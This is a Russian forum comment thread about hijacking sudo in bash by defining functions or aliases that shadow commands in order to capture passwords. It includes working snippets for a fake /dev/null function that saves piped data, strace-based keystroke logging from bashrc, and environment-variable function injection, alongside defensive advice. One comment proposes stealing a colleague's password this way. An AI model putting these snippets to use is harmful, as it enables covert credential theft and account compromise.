                    У меня на телефоне парольный менеджер, я туда бы еще положил хранилище приватных ключей и в идеале завязал бы на него их использование. Сейчас я переношу пароль на машину руками (но чаще конечно с использованием локальной установки keepass, что мне ОЧЕНЬ не нравится) — хочется исключить из этого фазу ввода пароля руками но при этом не отдавать на откуп полной автоматизации передачу этих паролей на локальную машину, потому как она может внезапно стать скомпроментированной! Просто напросто в тех случаях в которых я сейчас пишу пароли руками, я хочу видеть соответствующее сообщение на телефоне и одним касанием принимать решение — разрешить или отклонить действие.

                    sudo запрашивает пароль не постоянно, повторный вызов в течении некоторого времени запрос не делает


    1. Lsh
      23.02.2017 12:50

      достаточно подменить команду, подставляемую в sudo на нашу, и больше ничего не надо!

      А так получится? Разве sudo будет видеть определённую в bash функцию?


      1. ZyXI
        23.02.2017 19:37

        А кто сказал «на функцию»? Сохраняете куда?то скрипт, используете sudo bash myscript.sh "$@", myscript.sh выполнит с привилегиями и работу для злоумышленника, и запрос пользователя, переданный через $@. И bash myscript.sh "$@" всё ещё подпадает под определение «команда».


        1. saboteur_kiev
          23.02.2017 20:01

          Обратите внимание на заголовок статьи. Вся изюминка в имени функции.


          1. rPman
            24.02.2017 00:08

            обратите внимание на статью, внимательно!
            sudo bash myscript.sh в предыдущем комментарии успешно подменяется функцию /usr/sbin/sudo и для надеждности еще и просто sudo


          1. ZyXI
            24.02.2017 02:09

            ?! В статье sudo подменяется на что?то, что сохраняет пароль и использует настоящий sudo дважды, но скармливая пароль через stdin. Автор комментария, на который ответили комментарием, на который ответил я, предлагал не заморачиваться с сохранением паролей (получая проблемы, если используется не только пароль), а просто подменить команду на свою. Имя функции тут ни разу не причём, обсуждалось её содержимое.


            Кстати, помимо двухфакторной аутнефикации с кодом из статьи есть ещё куча проблем: во?первых, мало того что eval там ни разу не нужен, так код составлен так, что нельзя нормально использовать какие?либо команды, содержащие в аргументах специальные символы любого рода — даже пробел всё сломает. Во?вторых, echo нельзя использовать для чего?либо сложнее helloworld. Особенно, если это пароль: если пользователь использует спецсимволы, то вы вполне можете увидеть пароль, начинающийся с - и содержащий \n. Мой bash это переваривает (если только пароль не выглядит как -e: хоть и из двух символов, но в словарях мелькать не должен), но я не скажу за любой bash. Другие мои оболочки вроде posh и zsh не переварят нормально. В?третьих, интерактивные команды идут лесом, тот же sudo vi вы так не запустите (точнее запустите, но он вам пожалуется на ввод не с терминала). Конечно, это не суть статьи, но обойти третью проблему будет сложнее, чем просто использовать свою команду для sudo. Особенно, если нужен не просто ввод пользователя (здесь вроде cat <(printf '%s\n' "$password") /dev/stdin | sudo … должно помочь), а полноценный терминал.


            1. saboteur_kiev
              24.02.2017 13:16
              +3

              Главный посыл статьи и он же есть в названии, это то, что запуская внешнюю утилиту, с указанием абсолютного пути — все равно можно нарваться на то, что запустится не она.

              А sudo тут вообще не причем, это частный случай.

              P.S. Вдобавок можно немного играться с социальной инженерией, например так:
              $ cat /etc/passwd | /dev/null
              kekeke

              Сходу, просматривая длинный чужой скрипт и не поймешь что не так в выполняемой команде, а там всего лишь и "|" вместо ">" и функция
              function /dev/null { cat >> data ; echo "kekeke" ; }



  1. Gugic
    21.02.2017 20:50

    Все операции на сервере только по сертификату, который есть только у юзера на удаленной машине? С другой стороны при компроментации сертификата очень большие проблемы.


  1. Livid
    21.02.2017 20:53
    +7

    На самом деле, если у злоумышленника есть полный доступ к аккаунту пользователя в wheel, то это скорее всего основной пользователь в системе. А это значит, что переживать по поводу sudo в алиасах — умеренно бессмысленно. При полном доступе к аккаунту, прикрутить кейлоггер вообще не проблема, хотя для иксов, хоть для шелла. Да и утечка ключей/личных данных/секретных документов — возможно бoльшая проблема, чем потенциальный рутовый доступ.


  1. farcaller
    21.02.2017 21:30
    +1

    Спасает auditd который сразу пейджит при активности. У вас не должно быть причин активно работать на продакшене из-под рута (или любого привелигированного в sudo пользователя). Приучайтесь к полностью автоматизированным цепочкам.


  1. alexoron
    22.02.2017 00:01
    -3

    Что-то мне кажется, это не последний сюрприз из мира юниксов.


  1. ZyXI
    22.02.2017 02:46
    +3

    Если у вас есть такой доступ, чтобы добавить пользователю что?то в конфиг, то пользователя не спасёт почти ничего: для начала, если есть куда положить исполняемый файл, то можно подменять системные вызовы через LD_PRELOAD. Никакой абсолютный путь не спасает.


    Но даже если исполняемый файл положить негде (везде ro или noexec), то есть другой относительно простой хак: в bashrc пишем exec strace -e read -o >(process-reads.sh) bash (не забываем предотвращать бесконечную рекурсию) и мы можем читать всё, что пользователь пишет в bash. Если нет strace, то нужно как?то создавать pty и подставлять её на вход bash, а самим читать из оригинальной и дублировать туда, но вроде тоже ничего невыполнимого. Я использую что?то подобное, чтобы всегда запускать zsh внутри dtach и hilite (первое против случайных закрытий эмулятора терминала, второе подсвечивает stderr красным (чтобы отличался от stdout) и провоцирует странное поведение у некоторых программ).


    В zsh намного проще: есть куча виджетов для zle, ту же функцию ////usr//bin///////sudo можно сгенерировать прямо на лету: после того, как пользователь нажал ввод, но до того, как что?то реально выполнилось.


    1. Sleuthhound
      22.02.2017 08:14

      Про LD_PRELOAD тоже хотел написать, но вы меня опередили.

      P.S. На самом деле векторов атаки на сервер при наличии ssh очень много, да и без ssh много, нужно следовать простому правилу — не давать sudo всем кому попадя, а если и давать, то ограничивать вход по IP и использовать rsa ключи + обязательный мониторинг активности и аудит.

      Кстате говоря, админы, простой вопрос:
      1. Вы монтируете /tmp и /var/tmp с nosuid и noexec? 100% нет, вот вам вектор атаки.
      2. Вы мониторите задачи в cron? Вы ограничиваете использование утилиты at и cron через /etc/at.deny и /etc/cron.deny? 100% нет, вот вам и еще один вектор атаки.
      3.…
      и таких векторов много, конечно цель их не в получении прав root, а в простом превращении вашего сервера в часть ботнета.


      1. geher
        22.02.2017 10:28
        +1

        нужно следовать простому правилу — не давать sudo всем кому попадя, а если и давать, то ограничивать вход по IP и использовать rsa ключи + обязательный мониторинг активности и аудит

        Я бы добавил к этому правилу ограничение на исполняемые пользователем команды.
        каждому пользователю должно быть позволено запускать от рута не более того, что ему реально требуется для работы. Т.е по возможности никаких ALL в конфиге sudo.


        1. Sleuthhound
          22.02.2017 10:53

          Я бы добавил к этому правилу ограничение на исполняемые пользователем команды.
          каждому пользователю должно быть позволено запускать от рута не более того


          Это само собой разумеется, но вообще я не сторонник в принципе давать кому-то «урезаные» привилегии использовать sudo — в частности например дать кому-то право перезапускать apache или nginx, под соусом типа вот тебя нет на рабочем месте, а apache завис, дай мне право его перезапускать — нет и еще раз нет. Есть администратор сервера, который полностью отвечает за него, все остальные идут лесом.


          1. VolCh
            22.02.2017 17:37

            Что делать с учетными записями систем провижна и деплоя приложений?


    1. kreon
      22.02.2017 12:10
      +1

      на суидные бинарники LD_PRELOAD не работает, увы.


      1. ZyXI
        22.02.2017 20:15
        +1

        А я и не предполагал это для sudo. Достаточно перехватывать execve bash’а и запускать скрипт из статьи вместо sudo. Bash?то ни разу не suid.


  1. Jogger
    22.02.2017 03:07

    удалено


  1. AlexeySaff
    22.02.2017 12:15

    достаточно заэкранировать первый символ
    \su
    \kinit
    можно вообще писать «s»u

    Alias substitution
    http://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html#tag_18_03_01


  1. amarao
    22.02.2017 13:32

    У нас на серверах используется pam_ssh_agent, который проверяет SSH-ключ пользователя перед тем, как дать судо.

    При том, что прокидывание ключа само по себе не очень хорошая идея, получающаяся конструкция всё-таки более устойчива к краже креденшиалов, чем при использовании паролей. Злоумышленник может что-то сделать от имени пользователя, но только в то время, когда ключ доступен.


  1. atoshin
    22.02.2017 13:37
    -3

    Госсподи, ну и бредятина, давненько я такого не читал. Куда катится хабр? Люди на всю готовы ради кармы. Не удивлюсь скорому появлению какого-нибудь флагшток-куна на хабре.


    1. rPman
      22.02.2017 14:17
      +3

      Госсподи, откуда у людей столько желчи и злобы?
      Например, для меня этот вид вектора атаки является откровением, хотя считал себя чуть продвинутым пользователем!


      1. atoshin
        24.02.2017 18:44
        -2

        да о чём вы говорите вообще, если у пользователя уже есть права sudo??? и если для тебя это откровение, ну что ж, у меня для тебя плохие новости


        1. VolCh
          24.02.2017 20:09
          +1

          Нет у него прав sudo пока нет пароля.


  1. AlexeySaff
    23.02.2017 04:54
    -1

    в чем тут атака, поясните? кто-то как-то пробрался к вашему bashrc?


    1. VolCh
      23.02.2017 06:47
      +3

      Кто-то как-то пробрался — это условие атаки. Атака заключается в получении вашего пароля для повышения привилегий.


  1. AVX
    26.02.2017 18:38

    Какие есть способы обойти проблему, если есть подозрение, что аккаунт скомпрометирован (bashrc подменили).
    Можно переименовать или удалить bashrc, но ведь и эти команды могут быть подменены на функции…
    Пока вижу только запустить mc и в нём посмотреть bashrc. Правда, ведь и в mc можно какие-нибудь настройки сделать злонамеренные.


    1. ZyXI
      26.02.2017 20:20

      Никак. Если получен доступ к аккаунту пользователя, то нужно воспользоваться другим: ssh, во?первых, всегда использует оболочку для исполнения любой команды (а оболочка читает некоторые настройки даже в неинтерактивном режиме), во?вторых, исполняет ~/.ssh/rc. Оба этих варианта могут быть использованы для того, чтобы подделать произвольную программу в окружении, хотя и разными способами (второй проще всего сводить к первому: восстанавливать заражённые настройки). Т.е. если, к примеру, вы запустили ssh machine -- echo '1 2', то вы получите следующие execve вызовы:


      /bin/sh -c '$SHELL -c "/bin/sh .ssh/rc"'
        $SHELL -c '/bin/sh .ssh/rc'
          /bin/sh .ssh/rc
          # Кто вообще придумал такой странный способ работы с .ssh/rc?!
      $SHELL -c 'echo 1 2'
      # Да, ssh благополучно выбросил информацию о разделении на аргументы.

      С zsh всё уже плохо: он читает файлы вроде ~/.zshenv даже в неинтерактивном режиме. Bash не читает в неинтерактивном режиме никаких файлов настроек… если только вы не определили переменную BASH_ENV (или bash запущен в неинтерактивном режиме и с именем /bin/sh, тогда вообще никаких файлов никогда не читается). А определить данную переменную можно в ~/.ssh/environment, если только оно не запрещено (по умолчанию запрещено).


      Кроме того, chsh вроде работает без sudo и без требований пароля, так что ~/.ssh/rc поможет с «не той» оболочкой (работать начнёт со следующего запуска ssh, первый запуск с неизменённой оболочкой). Если, конечно, администратор не запретил.


      Впрочем, sshd можно запретить использовать как ~/.ssh/rc, так и ~/.ssh/environment, первое по?умолчанию разрешено.


      Таким образом, предполагая, что


      1. Злоумышленник может писать в любое место, куда может писать пользователь.
      2. ~/.ssh/rc разрешено, а ~/.ssh/environment нет.
      3. Злоумышленник ещё не подменил оболочку (если есть куда положить исполняемый файл и chsh работает, то никаких способов избежать использования подменённой оболочки нет — даже sshfs запускает оболочку пользователя).
      4. ~/.ssh/rc настроено так, чтобы подменять файлы настроек и запускать chsh.
      5. Используется оболочка, не читающая какие?либо пользовательские файлы при неинтерактивном запуске.

      то способ как?то избежать проблемы будет


      ssh remote -- 'chsh -s /bin/sh ; cat suspicious-file' | less
      # Просмотр подозрительного файла: нафига вам mc? Просто гоните файл по сети.
      ssh remote -- 'chsh -s /bin/sh ; rm -f suspicious-file' | less
      # Удаление подозрительного файла.

      (Уберите chsh, если подменять ей оболочку без пароля/sudo нельзя.)


      Но если что?то из условий не выполняется, то бегите к кому?то с бо?льшими привилегиями либо физическим доступом.


      1. ZyXI
        26.02.2017 20:24

        В общем, есть подозрения — не используйте сложные программы с настройками. cat и rm не имеют никаких файлов настроек, если вам как?то не подменили $PATH или оболочку (и вы не используете zsh в качестве оной), то беспокоиться не о чём. Но проверить, не подменили ли вам оболочку в общем случае вы не сможете.


  1. vorakl
    28.02.2017 16:11

    Не всё так страшно на самом деле. Если хочется быть уверенным в комманде, которую запускаешь или цель написать скрипт, устойчивый к подобного рода ситуациям, то в BASH есть built-in комманда command:

    command [-pVv] command [arg ...]
    Run command with args suppressing the normal shell function lookup. Only builtin commands or commands found in the PATH are executed. If the -p option is given, the search for command is performed using a default value for PATH that is guaranteed to find all of the standard utilities.

    и в добавок builtin, для запуска только таковых комманд

    builtin shell-builtin [arguments]
    Execute the specified shell builtin, passing it arguments, and return its exit status. This is useful when defining a function whose name is the same as a shell builtin, retaining the functionality of the builtin within the function.

    И вот как это работает для приведённого выше примера.
    Можно игнорировать одноимённые функции при помощи 'command sudo' или даже 'command -p sudo'.
    Если же кто-то попытается установить alias для command, тогда можно усилить решение через 'builtin command -p sudo'. Но если кто-то пойдёт ещё дальше, и установит alias для builtin, то можно в начале скрипта запустить команду 'unalias builtin' и потом все критичеки важные комманды запускать при помощи последнего варианта. А чтобы не делать это решение сильно усложнённым, можно начинать скрипт как

    #!/bin/bash
    unalias builtin
    function run() { builtin command -p "$@"; }
    run sudo

    Ещё не плохо было бы переопределять всегда PATH в начале скрипта на что-то, что вы ожидаете там увидеть.

    Итого:

    $ /usr/bin/sudo -V
    Sudo version 1.8.18p1
    Sudoers policy plugin version 1.8.18p1
    Sudoers file grammar version 45
    Sudoers I/O plugin version 1.8.18p1

    $ alias sudo=«echo SuD0»
    $ function /usr/bin/sudo() { echo 'Truly '; }
    $ alias command=«echo 'Really '»
    $ alias builtin=«echo 'Eventually '»

    $ /usr/bin/sudo -V
    Truly

    $ sudo -V
    SuD0 -V

    $ command sudo -V
    Really sudo -V

    $ command /usr/bin/sudo -V
    Really /usr/bin/sudo -V

    $ builtin command sudo -V
    Eventually command sudo -V

    $ unalias builtin
    $ builtin command sudo -V
    Sudo version 1.8.18p1
    Sudoers policy plugin version 1.8.18p1
    Sudoers file grammar version 45
    Sudoers I/O plugin version 1.8.18p1

    $ function run() { builtin command -p "$@"; }
    $ run sudo -V
    Sudo version 1.8.18p1
    Sudoers policy plugin version 1.8.18p1
    Sudoers file grammar version 45
    Sudoers I/O plugin version 1.8.18p1


    1. ZyXI
      28.02.2017 23:47

      Писать unalias в скрипте абсолютно бесполезно: это интерактивная возможность. Скрипты вообще обычно запускаются без того, чтобы bash загружал какие?то файлы (но даже если он их загружает через BASH_ENV, а вы указали именно #!/bin/bash или написали bash script.sh, то именно alias’ы использоваться не будут, в отличие от функций). К тому же, все ваши методы из похаканного bash абсолютно бесполезны: и unalias, и unset, и builtin, и command — всё может быть переопределено как функции. Как функции не могут быть переопределены только синтаксические конструкты вроде if или function (точнее, можно определить функции if и function, просто bash не будет их использовать, если только вы не напишете что?то вроде 'if' funcarg1).


      1. ZyXI
        28.02.2017 23:54

        Кстати, alias unalias='echo FOO' тоже работает. Но адекватный злоумышленник не будет использовать alias в принципе: достаточно написать \unalias unalias и alias уберётся. С функциями у вас ничего такого не выйдет, они уберутся только от unset -f, но unset тоже может быть функцией.


        1. vorakl
          01.03.2017 00:36

          По крайней мере, именно эту проблему, --posix параметр решает, не беря во внимание особенностей работы bash в этом режиме

          $ cat a.sh
          #!/bin/bash --posix

          function builtin() { echo new_builtin; }
          function command() { echo new_command; }
          function echo() { :; }

          unset -f builtin
          builtin command echo Hello World

          $ ./a.sh
          Hello World


      1. vorakl
        01.03.2017 00:26

        Да, с alias в скриптах, справедливо ;)

        А на счёт unset как новая функция, есть ещё параметр --posix и он то не даст переопределить unset, а значит и 'unset -f builtin' в начале скрипта должен сработать.

        $ bash --posix -c 'function unset() { echo new-unset; }'
        bash: `unset': is a special builtin


        1. ZyXI
          01.03.2017 01:20
          +1

          А кто будет это posix подставлять? Напоминаю, статья вообще?то об интерактивной оболочке. ssh ничем подобным не занимается по?умолчанию. И не по?умолчанию вы ничего подобного делать не захотите: с --posix вам нужно как?то извратиться и определить переменную ENV, иначе никаких bashrc bash читать не будет. И файл по $ENV будет также уязвим, как и любой другой ваш файл настроек. В том числе он может перезапустить bash уже без --posix. А использование ssh в ключе ssh remote 'chsh -s /bin/sh ; cat ~/.bashrc' (как я предлагал здесь) ровно настолько же имунно к изменениям в файловой системе в $HOME, насколько имунны скрипты.


          Самый простой способ избежать атаки, описанной в статье: создавать файлы настроек из?под этого самого sudo, пароль к которому предлагается уводить. Тогда злоумышленнику понадобится больше, нежели возможность редактировать ФС с правами непривилегированного пользователя. Собственно, автор приводит этот вариант в последнем абзаце как оптимальный.


          Вот если же предполагается какой?то доступ к переменным среды (т.е. то, что предполагается в цитате из руководства), причём не ограниченный $PATH, то всё плохо: я не раз упоминал здесь про $BASH_ENV, правда он испортит вам только скрипты и bash -c (а вот --posix + $ENV испортит только интерактивную оболочку). Зато $PROMPT_COMMAND, если не переопределяется в bashrc, испортит интерактивную оболочку (в т.ч. с --posix). Плюс bash с настройками по?умолчанию позволяет определять функции в переменных окружения (хотя не все способы определить эти переменные тут сработают, т.к. обычно считается, что знака % в имени такой переменной быть не может, а он нужен): к примеру, с


          env BASH_FUNC_unset%%='() { echo vulnerable } bash

          вы будете иметь переопределённую функцию unset, или DOS?атаку, если попытаетесь использовать --posix (bash не даст переопределить unset, равно как не даст и выполнить что?либо). Причём, замечу, скрипты тоже уязвимы, а файлов настроек, в которых можно было бы запретить экспорт функций bash читать не будет.


    1. alsii
      01.03.2017 13:53

      *** я буду обновлять комментарии


  1. gromogryzl
    28.02.2017 16:11

    Все действительно работает как написано. Только эту технику можно использовать для другого взлома: например директор отошел от своего компа и забыл его локнуть, а ты сел в его кресло и эту бяку настучал. На другой день переписал пароль на бумажку и подтер следы!